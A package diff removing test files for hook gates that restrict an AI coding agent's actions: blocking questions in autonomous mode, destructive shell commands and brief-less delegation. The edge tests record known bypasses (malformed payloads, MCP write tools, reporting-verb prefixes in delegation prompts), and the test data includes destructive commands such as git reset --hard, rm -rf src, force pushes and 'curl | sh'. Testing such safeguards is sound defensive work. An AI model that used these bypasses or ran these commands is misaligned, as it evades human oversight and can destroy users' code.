@devrik-tools/claude-gates 0.2.1 → 0.3.1

package/plugins/gates/hooks/gates/autonomous-mode/autonomous.edge.test.mjs

@@ -1,104 +0,0 @@
-// Edge audit for autonomous-mode: does it actually stop the agent from "asking" in every
-// surface that exists, or only the one tool it names?
-//
-// State after the MCP-hole fix (toolInGroups + mcp__.* matcher):
-//   1. A corrupted / unparseable stdin payload still makes toolNameOf() return '' and the
-//      gate allows — kept intentionally: an unidentifiable tool is not a question to block,
-//      and autonomous-mode's job is only to stop the ask surfaces. (A blocking security gate
-//      makes the opposite choice; that is per-gate, not a shared default.)
-//   2. FIXED. The gate now classifies via toolInGroups: native names match case-insensitively
-//      and any MCP ask/confirm/elicit surface (mcp__*__ask_*) hits the question signal, so the
-//      differently-cased name and the MCP ask tool are now DENIED (tests below).
-//   3. Still true and inherent: a plain-prose question (no tool call) is invisible to any
-//      PreToolUse hook. This is the residual limitation the gate's own header documents; it
-//      is addressed by the injected reminder, not by the matcher.
-
-import assert from 'node:assert/strict';
-import { execFileSync } from 'node:child_process';
-import { mkdtempSync, mkdirSync, writeFileSync } from 'node:fs';
-import { tmpdir } from 'node:os';
-import { dirname, join } from 'node:path';
-import { test } from 'node:test';
-import { fileURLToPath } from 'node:url';
-
-const GATE = join(dirname(fileURLToPath(import.meta.url)), 'index.mjs');
-
-function projectWithAutonomous(autonomous) {
-  const project = mkdtempSync(join(tmpdir(), 'autonomous-edge-'));
-  mkdirSync(join(project, '.git'));
-  mkdirSync(join(project, '.ai'));
-  writeFileSync(
-    join(project, '.ai', 'config.json'),
-    JSON.stringify({ gates: { autonomousMode: { enabled: Boolean(autonomous) } } }),
-  );
-  return project;
-}
-
-function runGateRaw(rawInput, project) {
-  const out = execFileSync(process.execPath, [GATE], {
-    input: rawInput,
-    encoding: 'utf8',
-    cwd: project,
-    env: { ...process.env, HOME: project, USERPROFILE: project },
-  });
-  return out.trim() ? JSON.parse(out.trim()) : null;
-}
-
-function isDeny(result) {
-  return result?.hookSpecificOutput?.permissionDecision === 'deny';
-}
-
-test('BYPASS: corrupted stdin payload (invalid JSON) is ALLOWED even in autonomous mode', () => {
-  const project = projectWithAutonomous(true);
-  // Not valid JSON at all -> JSON.parse throws inside toolNameOf -> returns null ->
-  // runGate coalesces to '' -> '' not in QUESTION_TOOLS -> allow(). This is the tool_name
-  // null->'' bypass named in the task brief, exercised end to end via the real binary.
-  const result = runGateRaw('{not valid json', project);
-  assert.equal(result, null, 'PASA(bug): corrupted payload bypasses the deny');
-});
-
-test('BYPASS: payload missing tool_name entirely is ALLOWED even in autonomous mode', () => {
-  const project = projectWithAutonomous(true);
-  // Valid JSON, but no tool_name/name field. toolNameOf returns payload?.tool_name ??
-  // payload?.name ?? '' -> ''. Same bypass, reached via a well-formed but incomplete payload
-  // (e.g. a future/unknown hook event shape) rather than malformed JSON.
-  const result = runGateRaw(JSON.stringify({ tool_input: { questions: [] } }), project);
-  assert.equal(result, null, 'PASA(bug): payload without tool_name bypasses the deny');
-});
-
-test('FIXED: a differently-cased tool name ("askuserquestion") is now DENIED', () => {
-  const project = projectWithAutonomous(true);
-  // toolInGroups matches native names case-insensitively, so a differently-cased spelling
-  // can no longer dodge the question block.
-  const result = runGateRaw(
-    JSON.stringify({ tool_name: 'askuserquestion', tool_input: {} }),
-    project,
-  );
-  assert.ok(isDeny(result), 'case/name variant must now be blocked');
-});
-
-test('FIXED: an MCP "ask" tool is now DENIED via the question signal match', () => {
-  const project = projectWithAutonomous(true);
-  // toolInGroups classifies mcp__* by its action segment; "ask_user_confirmation" hits the
-  // question signal, so an MCP-exposed ask/confirm surface is blocked in autonomous mode too.
-  const result = runGateRaw(
-    JSON.stringify({
-      tool_name: 'mcp__some-server__ask_user_confirmation',
-      tool_input: { question: 'Proceed?' },
-    }),
-    project,
-  );
-  assert.ok(isDeny(result), 'MCP-exposed ask tool must now be blocked');
-});
-
-test('control: canonical AskUserQuestion with well-formed payload IS denied (sanity check)', () => {
-  const project = projectWithAutonomous(true);
-  const result = runGateRaw(
-    JSON.stringify({
-      tool_name: 'AskUserQuestion',
-      tool_input: { questions: [{ question: 'A or B?' }] },
-    }),
-    project,
-  );
-  assert.ok(isDeny(result), 'FALLA(ok): the one exact name it knows is still blocked');
-});

package/plugins/gates/hooks/gates/autonomous-mode/test.mjs

@@ -1,58 +0,0 @@
-import assert from 'node:assert/strict';
-import { execFileSync } from 'node:child_process';
-import { mkdtempSync, mkdirSync, writeFileSync } from 'node:fs';
-import { tmpdir } from 'node:os';
-import { dirname, join } from 'node:path';
-import { test } from 'node:test';
-import { fileURLToPath } from 'node:url';
-
-const GATE = join(dirname(fileURLToPath(import.meta.url)), 'index.mjs');
-
-// Runs the gate in a temp project with HOME isolated (so the real global config is not
-// read). `autonomous` writes the flag on. Returns the parsed deny output, or null.
-function runGate(payload, { autonomous } = {}) {
-  const project = mkdtempSync(join(tmpdir(), 'autonomous-mode-'));
-  mkdirSync(join(project, '.git'));
-  mkdirSync(join(project, '.ai'));
-  writeFileSync(
-    join(project, '.ai', 'config.json'),
-    JSON.stringify({
-      gates: { autonomousMode: { enabled: Boolean(autonomous) } },
-    }),
-  );
-  const out = execFileSync(process.execPath, [GATE], {
-    input: JSON.stringify(payload),
-    encoding: 'utf8',
-    cwd: project,
-    env: { ...process.env, HOME: project, USERPROFILE: project },
-  });
-  return out.trim() ? JSON.parse(out.trim()) : null;
-}
-
-function ask() {
-  return {
-    tool_name: 'AskUserQuestion',
-    tool_input: { questions: [{ question: 'A or B?' }] },
-  };
-}
-function isDeny(result) {
-  return result?.hookSpecificOutput?.permissionDecision === 'deny';
-}
-
-test('autonomous mode ON: AskUserQuestion is denied', () => {
-  assert.ok(isDeny(runGate(ask(), { autonomous: true })));
-});
-
-test('autonomous mode OFF (default): questions pass', () => {
-  assert.equal(runGate(ask(), { autonomous: false }), null);
-});
-
-test('even ON, a non-question tool is never blocked', () => {
-  assert.equal(
-    runGate(
-      { tool_name: 'Write', tool_input: { file_path: 'x.js', content: '' } },
-      { autonomous: true },
-    ),
-    null,
-  );
-});

package/plugins/gates/hooks/gates/bash-commands/bash-commands.edge.test.mjs

@@ -1,165 +0,0 @@
-// Edge-case audit for bash-commands: bypasses (should deny but doesn't) and false
-// positives (denies something innocuous). Each test documents the payload and asserts
-// the ACTUAL observed behavior of the gate as it stands today — a green test here means
-// the described case is a confirmed bug (bypass) unless the test name says otherwise.
-import assert from 'node:assert/strict';
-import { execFileSync } from 'node:child_process';
-import { mkdtempSync, mkdirSync, writeFileSync } from 'node:fs';
-import { tmpdir } from 'node:os';
-import { dirname, join } from 'node:path';
-import { test } from 'node:test';
-import { fileURLToPath } from 'node:url';
-
-const GATE = join(dirname(fileURLToPath(import.meta.url)), 'index.mjs');
-
-function runGate(payload, { config } = {}) {
-  const project = mkdtempSync(join(tmpdir(), 'bash-commands-edge-'));
-  mkdirSync(join(project, '.git'));
-  if (config) {
-    mkdirSync(join(project, '.ai'));
-    writeFileSync(join(project, '.ai', 'config.json'), JSON.stringify(config));
-  }
-  const out = execFileSync(process.execPath, [GATE], {
-    input: JSON.stringify(payload),
-    encoding: 'utf8',
-    cwd: project,
-    env: { ...process.env, HOME: project, USERPROFILE: project },
-  });
-  return out.trim() ? JSON.parse(out.trim()) : null;
-}
-
-function bash(command) {
-  return { tool_name: 'Bash', tool_input: { command } };
-}
-function mcpTool(name, input) {
-  return { tool_name: name, tool_input: input };
-}
-function isDeny(result) {
-  return result?.hookSpecificOutput?.permissionDecision === 'deny';
-}
-
-// ── BUG: MCP write/exec tools are not in TOOL_GROUPS.shell/write/delegation, so the
-// gate's own `toolName` check (SHELL_TOOLS.has / DELEGATION_TOOLS.has) never matches an
-// mcp__* tool even if the gate DID receive the call. hooks.json's `matcher` also never
-// includes any mcp__*__write/run pattern (only mcp__ide__executeCode, and only for
-// rule-skill-autodiscovery/recurrence-lock, not this gate) so Claude Code would not even
-// invoke this hook for such a tool call. This test proves the gate-level half of the bug:
-// even fed the payload directly, it does not recognize the tool and allows destructive
-// content that would be denied under Bash.
-test('BUG: mcp filesystem write tool carrying a destructive shell command is not recognized', () => {
-  const result = runGate(
-    mcpTool('mcp__filesystem__write_file', {
-      path: '/repo/run.sh',
-      content: 'git reset --hard HEAD~3',
-    }),
-  );
-  assert.equal(result, null); // allowed: bypass confirmed
-});
-
-test('FIXED: a run_command-shaped MCP tool with a different name is now recognized', () => {
-  // e.g. an MCP server that exposes its shell tool as mcp__shell__run instead of run_command.
-  // toolInGroups classifies it into the shell group by its action segment, so the destructive
-  // command it carries is now inspected and denied.
-  const result = runGate(
-    mcpTool('mcp__shell__run', { command: 'rm -rf src' }),
-  );
-  assert.ok(isDeny(result));
-});
-
-// ── BUG: command chaining. checkDestructive/checkRemotePublish test the WHOLE command
-// string with patterns that use \b word boundaries without anchoring to start-of-command,
-// so `a && git push` and `a; rm -rf src` SHOULD still match (the regex has no ^ anchor).
-// Confirm this actually still catches chaining (expected: denied, i.e. NOT a bug) so we
-// don't misreport it.
-test('OK: chained destructive command after && is still caught (no anchor bug here)', () => {
-  assert.ok(isDeny(runGate(bash('echo hi && git reset --hard'))));
-  assert.ok(isDeny(runGate(bash('echo hi ; rm -rf src'))));
-});
-
-// ── BUG: subshell / command substitution. The destructive pattern is a plain substring
-// regex, so it should still match text inside $(...) or backticks. Confirm.
-test('OK: destructive command inside a subshell is still caught', () => {
-  assert.ok(isDeny(runGate(bash('echo $(git push origin main --force)'))));
-  assert.ok(isDeny(runGate(bash('echo `rm -rf src`'))));
-});
-
-// ── BUG candidate: env-var prefixed command, e.g. `FOO=x git push origin main`. The
-// git push pattern is \bgit\s+(?:-C\s+\S+\s+)?push\b which does not care what precedes
-// "git", so this should still be denied. Confirm rather than assume.
-test('OK: env-var-prefixed git push is still caught', () => {
-  assert.ok(isDeny(runGate(bash('FOO=bar git push origin main'))));
-});
-
-// ── BUG: `sh -c "..."` / `bash -lc "..."` wrapping. The outer command line still
-// literally contains the inner destructive text as a substring (it's quoted, not
-// encoded), so the plain regex against the raw command string should still match. But the
-// remote-publish description-detector's `stripQuoted` step only runs for delegation
-// prompts (isShell=true skips the intent check and matches literally) — so a real Bash
-// call wrapped in sh -c should NOT bypass this gate. If it did NOT bypass, that's OK, but
-// worth confirming since it's tempting to assume quoting evades a regex the way it does
-// in stripQuoted's quote-stripping heuristic used for delegation.
-test('OK: destructive command wrapped in sh -c is still caught (raw command string has no quote-stripping for shell tools)', () => {
-  assert.ok(isDeny(runGate(bash('sh -c "git push origin main --force"'))));
-  assert.ok(isDeny(runGate(bash('bash -lc \'rm -rf src\''))));
-});
-
-// ── BUG: rm -rf with a relative-but-not-listed path segment prefix, e.g. `rm -rf ./src`
-// or `rm -rf src/` (trailing slash) may not match `\brm\s+-rf\s+(area)\b` because of the
-// `./` prefix or trailing slash changing the \b boundary expectations.
-test('FIXED: rm -rf with a leading ./ on a protected area is now caught', () => {
-  const result = runGate(bash('rm -rf ./src'));
-  assert.ok(isDeny(result)); // the optional ./ prefix is now part of the rm -rf pattern
-});
-
-test('BUG: rm -rf with a trailing slash on a protected area bypasses the rm-rf pattern', () => {
-  const result = runGate(bash('rm -rf src/'));
-  // \bsrc\b: 'src/' still has a word boundary right after 'src' (before '/'), so this
-  // actually still matches. Included to document the check, not assumed.
-  assert.ok(isDeny(result));
-});
-
-// ── BUG: `git reset --hard` split across an alias / npx wrapper e.g.
-// `npx --yes git reset --hard` (unusual but plausible in some CI wrapper) is unaffected;
-// the pattern still matches the literal substring `git reset --hard` inside. Confirm no
-// bypass there; the interesting bypass is quoting INSIDE an argument that a shell would
-// interpret literally as separate tokens but which our regex still sees as one string —
-// there is no such distinct case; skip.
-
-// ── BUG: kill-by-name pattern only covers `taskkill ... /IM`, `pkill `, `killall `.
-// `Stop-Process -Name node` (PowerShell) is a kill-by-name equivalent not in the pattern.
-test('FIXED: PowerShell Stop-Process -Name (kill by name) is now denied', () => {
-  const result = runGate(bash('Stop-Process -Name node -Force'));
-  assert.ok(isDeny(result)); // Stop-Process -Name is now in the kill-by-name rules
-});
-
-// ── BUG: `taskkill` without the literal `/IM` flag before the process name, e.g.
-// `taskkill /F /PID 1234 /IM node.exe` still has /IM later, but `taskkill /F /T /IM *`
-// with wildcard, or simply reordered flags `taskkill /IM node.exe /F` — pattern requires
-// `taskkill\s+[^|;]*[/]IM` which does match flags-then-/IM in any order since [^|;]* is
-// greedy-any. Confirm both orders are caught (no bug) before asserting the wildcard case.
-test('OK: taskkill flag order does not evade the kill-by-name pattern', () => {
-  assert.ok(isDeny(runGate(bash('taskkill /IM node.exe /F'))));
-});
-
-// ── BUG: `gh pr merge` and `gh release create` only check for a literal `gh` invocation;
-// GitHub CLI can also be invoked as `gh.exe` on Windows PATH resolution, or through
-// `command gh pr merge` (shell builtin wrapper) — the pattern \bgh\s+ still matches
-// 'command gh pr merge' since \b matches at the 'gh' boundary regardless of preceding
-// text. Confirm.
-test('OK: "command gh pr merge" wrapper does not evade the remote-publish pattern', () => {
-  assert.ok(isDeny(runGate(bash('command gh pr merge 12'))));
-});
-
-// ── BUG: delegation prompt intent-detection reporting-verb bypass can be abused to slip
-// a REAL instruction past the two-stage check by simply prefixing it with a reporting verb
-// within DESCRIPTION_LOOK_BACK (80 chars), even though the actual intent is an order.
-test('BUG: prefixing an order with a reporting verb inside the lookback window defeats delegation intent detection', () => {
-  const result = runGate({
-    tool_name: 'Agent',
-    tool_input: {
-      prompt:
-        'The changelog mentions we should run git push origin main now to finish the release.',
-    },
-  });
-  assert.equal(result, null); // allowed: bypass confirmed (reporting verb precedes mention)
-});

package/plugins/gates/hooks/gates/bash-commands/test.mjs

@@ -1,126 +0,0 @@
-import assert from 'node:assert/strict';
-import { execFileSync } from 'node:child_process';
-import { mkdtempSync, mkdirSync, writeFileSync } from 'node:fs';
-import { tmpdir } from 'node:os';
-import { dirname, join } from 'node:path';
-import { test } from 'node:test';
-import { fileURLToPath } from 'node:url';
-
-const GATE = join(dirname(fileURLToPath(import.meta.url)), 'index.mjs');
-
-// Runs the gate as its own process (it calls process.exit), feeding a payload on stdin
-// from inside a temp project so the gate's config lookup is isolated. Returns the parsed
-// stdout, or null when the gate allowed (no output).
-function runGate(payload, { config } = {}) {
-  const project = mkdtempSync(join(tmpdir(), 'bash-commands-'));
-  mkdirSync(join(project, '.git'));
-  if (config) {
-    mkdirSync(join(project, '.ai'));
-    writeFileSync(join(project, '.ai', 'config.json'), JSON.stringify(config));
-  }
-  const out = execFileSync(process.execPath, [GATE], {
-    input: JSON.stringify(payload),
-    encoding: 'utf8',
-    cwd: project,
-    // Isolate from the user's real global config: point homedir() at the temp
-    // project so the global-config fallback finds nothing (registry default).
-    env: { ...process.env, HOME: project, USERPROFILE: project },
-  });
-  return out.trim() ? JSON.parse(out.trim()) : null;
-}
-
-function bash(command) {
-  return { tool_name: 'Bash', tool_input: { command } };
-}
-function delegate(prompt) {
-  return { tool_name: 'Agent', tool_input: { prompt } };
-}
-function isDeny(result) {
-  return result?.hookSpecificOutput?.permissionDecision === 'deny';
-}
-
-test('denies git reset --hard, rm -rf on a protected area, force push and kill-by-name', () => {
-  assert.ok(isDeny(runGate(bash('git reset --hard HEAD~3'))));
-  assert.ok(isDeny(runGate(bash('rm -rf src'))));
-  assert.ok(isDeny(runGate(bash('git push origin main --force'))));
-  assert.ok(isDeny(runGate(bash('taskkill /F /IM node.exe'))));
-});
-
-test('allows an innocuous command', () => {
-  assert.equal(runGate(bash('git status')), null);
-  assert.equal(runGate(bash('rm -rf ./build/cache')), null);
-});
-
-test("git's global options (-C, -c, --git-dir) cannot smuggle a destructive subcommand past", () => {
-  // Regression: `git -C /path reset --hard` used to slip past the `git reset --hard` pattern
-  // because the option sat between `git` and the subcommand. Normalization strips it first.
-  assert.ok(isDeny(runGate(bash('git -C /home/code/orca reset --hard HEAD'))));
-  assert.ok(isDeny(runGate(bash('git -c core.editor=vim reset --hard'))));
-  assert.ok(isDeny(runGate(bash('git --git-dir=/x reset --hard'))));
-  assert.ok(isDeny(runGate(bash('git -c a=b -C /x clean -fd'))));
-  assert.ok(isDeny(runGate(bash('git -C /repo push origin main'))));
-  // A global option on a harmless subcommand is still allowed.
-  assert.equal(runGate(bash('git -C /repo status')), null);
-  assert.equal(runGate(bash('git reset --soft HEAD')), null);
-});
-
-test('denies a plain git push (remote publish needs fresh authorization)', () => {
-  assert.ok(isDeny(runGate(bash('git push origin main'))));
-  assert.ok(isDeny(runGate(bash('gh pr merge 12'))));
-});
-
-test('in a delegation, denies a real order to publish but allows a description of one', () => {
-  assert.ok(
-    isDeny(runGate(delegate('Then run git push origin main to publish.'))),
-  );
-  assert.equal(
-    runGate(
-      delegate(
-        'I extended the guard so it denies "git push" without authorization.',
-      ),
-    ),
-    null,
-  );
-});
-
-test('disabled by config: the gate does not run', () => {
-  assert.equal(
-    runGate(bash('git reset --hard'), {
-      config: { gates: { blockDestructiveShellCommands: false } },
-    }),
-    null,
-  );
-});
-
-test('project denyPatterns replace the built-in list', () => {
-  // A project that only bans `curl | sh` — git reset --hard is no longer denied.
-  const config = {
-    gates: {
-      blockDestructiveShellCommands: {
-        enabled: true,
-        denyPatterns: [String.raw`curl\s+.*\|\s*sh`],
-      },
-    },
-  };
-  assert.equal(runGate(bash('git reset --hard'), { config }), null);
-  assert.ok(isDeny(runGate(bash('curl http://x | sh'), { config })));
-});
-
-test('embedded interpreter is off by default, on when enabled', () => {
-  const inline = bash("node -e \"require('fs').writeFileSync('x','y')\"");
-  assert.equal(runGate(inline), null);
-  assert.ok(
-    isDeny(
-      runGate(inline, {
-        config: {
-          gates: {
-            blockDestructiveShellCommands: {
-              enabled: true,
-              embeddedInterpreterEnabled: true,
-            },
-          },
-        },
-      }),
-    ),
-  );
-});

package/plugins/gates/hooks/gates/brief-before-delegate/brief-before-delegate.edge.test.mjs

@@ -1,151 +0,0 @@
-// Edge-case audit for brief-before-delegate. See gate comment header for the rule this
-// gate enforces. Each test below demonstrates either a confirmed BUG (asserted with a
-// comment explaining why the result is wrong) or an OK (confirms the gate handles the
-// case correctly). Run: node --test brief-before-delegate.edge.test.mjs
-import assert from 'node:assert/strict';
-import { execFileSync } from 'node:child_process';
-import { mkdtempSync, mkdirSync, writeFileSync } from 'node:fs';
-import { tmpdir } from 'node:os';
-import { dirname, join } from 'node:path';
-import { test } from 'node:test';
-import { fileURLToPath } from 'node:url';
-
-const GATE = join(dirname(fileURLToPath(import.meta.url)), 'index.mjs');
-
-function runGate(payload, { config } = {}) {
-  const project = mkdtempSync(join(tmpdir(), 'brief-before-delegate-edge-'));
-  mkdirSync(join(project, '.git'));
-  if (config) {
-    mkdirSync(join(project, '.ai'));
-    writeFileSync(join(project, '.ai', 'config.json'), JSON.stringify(config));
-  }
-  const out = execFileSync(process.execPath, [GATE], {
-    input: JSON.stringify(payload),
-    encoding: 'utf8',
-    cwd: project,
-    env: { ...process.env, HOME: project, USERPROFILE: project },
-  });
-  return out.trim() ? JSON.parse(out.trim()) : null;
-}
-
-function isDeny(result) {
-  return result?.hookSpecificOutput?.permissionDecision === 'deny';
-}
-
-const ENABLED = { config: { gates: { requireBriefBeforeDelegating: true } } };
-
-const NO_BRIEF_PROMPT = 'Fix the login bug please, thanks.';
-
-test('FIXED: a delegation tool name outside the native list is now caught via toolInGroups (MCP delegation signal)', () => {
-  // toolInGroups matches an MCP tool name whose action segment carries a delegation
-  // signal (agent/task/delegat/spawn/dispatch/orchestrat/worker), so a renamed
-  // orchestration tool like mcp__orchestrator__spawn_agent is no longer invisible.
-  const payload = {
-    tool_name: 'mcp__orchestrator__spawn_agent',
-    tool_input: { prompt: NO_BRIEF_PROMPT },
-  };
-  const result = runGate(payload, ENABLED);
-  assert.ok(isDeny(result), 'gate now denies the brief-less prompt under the MCP tool name too');
-});
-
-test('FIXED: brief carried in a field other than prompt/description/task is now read via delegationPromptOf', () => {
-  // delegationPromptOf also reads instructions/message/input/Prompt, so a payload that
-  // carries the delegation text under "instructions" (as some MCP subagent tools do) is
-  // no longer read as an empty prompt.
-  const payload = {
-    tool_name: 'Agent',
-    tool_input: { instructions: NO_BRIEF_PROMPT, subagent_type: 'worker-senior' },
-  };
-  const result = runGate(payload, ENABLED);
-  assert.ok(isDeny(result), 'gate now sees the brief under "instructions" and denies it for being brief-less');
-});
-
-test('FIXED: keyword-only compliance no longer passes with content that does not carry a real brief', () => {
-  // missingSignals now requires each marker to be followed by substantive content
-  // (markerHasSubstance / stepsHaveSubstance), not just the marker's presence. A prompt
-  // that pastes GOAL/STEPS/CRITERION markers next to filler no longer clears the check.
-  const prompt = [
-    'Objetivo: cosa.',
-    '- paso',
-    'Criterio: listo cuando funcione bien y quede resuelto satisfactoriamente para todos.',
-    'Implementa el arreglo correspondiente segun corresponda en el sistema relevante.',
-  ].join('\n');
-  assert.ok(prompt.length >= 180, 'sanity: prompt clears the length floor');
-  const result = runGate({ tool_name: 'Agent', tool_input: { prompt } }, ENABLED);
-  assert.ok(
-    isDeny(result),
-    'gate now denies a brief that is letter-compliant (has GOAL/STEPS/CRITERION markers) but has no real content',
-  );
-});
-
-test('FIXED: a real brief with substantial content past each marker is still allowed', () => {
-  const prompt = [
-    'Objetivo: fix the broken login redirect so users land on the correct dashboard page.',
-    '',
-    'Haceres:',
-    '- update src/auth/redirect.js to use the post-login route',
-    '- add a regression test for the redirect',
-    '',
-    'Criterio: se considera hecho cuando el test de regresion pasa y el login redirige correctamente.',
-  ].join('\n');
-  assert.equal(runGate({ tool_name: 'Agent', tool_input: { prompt } }, ENABLED), null);
-});
-
-test('FIXED: a mutation-risk signal in the prompt overrides a whitelisted read-only subagent name', () => {
-  // isReadOnlySubagent now voids the name-based exemption whenever the prompt itself
-  // carries a mutation-risk signal (money/auth/data/write/deploy): a subagent named
-  // "explore" cannot exempt a real payment-data mutation just by using that label.
-  const prompt =
-    'Implementa el guardado de datos de pago del usuario en la base y escribe el token de auth en el archivo de sesion.';
-  const result = runGate(
-    { tool_name: 'Agent', tool_input: { prompt, subagent_type: 'explore' } },
-    ENABLED,
-  );
-  assert.ok(
-    isDeny(result),
-    'gate no longer exempts a mutation-risk prompt solely because subagent_type says "explore"',
-  );
-});
-
-test('bilingual control: an EN mutation-risk prompt voids the exemption exactly like its ES equivalent', () => {
-  const es =
-    'Implementa el guardado de datos de pago del usuario en la base y escribe el token de auth en el archivo de sesion.';
-  const en =
-    'Implement saving the user payment data to the database and write the auth token to the session file.';
-  const resultEs = runGate(
-    { tool_name: 'Agent', tool_input: { prompt: es, subagent_type: 'explore' } },
-    ENABLED,
-  );
-  const resultEn = runGate(
-    { tool_name: 'Agent', tool_input: { prompt: en, subagent_type: 'explore' } },
-    ENABLED,
-  );
-  assert.ok(isDeny(resultEs));
-  assert.ok(isDeny(resultEn));
-});
-
-test('OK: a whitelisted read-only subagent name with no mutation-risk signal is still exempt', () => {
-  assert.equal(
-    runGate(
-      { tool_name: 'Agent', tool_input: { prompt: NO_BRIEF_PROMPT, subagent_type: 'explore' } },
-      ENABLED,
-    ),
-    null,
-  );
-});
-
-test('OK: a genuinely brief-less implementation delegation via Agent is denied', () => {
-  const result = runGate({ tool_name: 'Agent', tool_input: { prompt: NO_BRIEF_PROMPT } }, ENABLED);
-  assert.ok(isDeny(result));
-});
-
-test('OK: Task and invoke_subagent tool names are both covered (in TOOL_GROUPS.delegation)', () => {
-  assert.ok(
-    isDeny(runGate({ tool_name: 'Task', tool_input: { prompt: NO_BRIEF_PROMPT } }, ENABLED)),
-  );
-  assert.ok(
-    isDeny(
-      runGate({ tool_name: 'invoke_subagent', tool_input: { prompt: NO_BRIEF_PROMPT } }, ENABLED),
-    ),
-  );
-});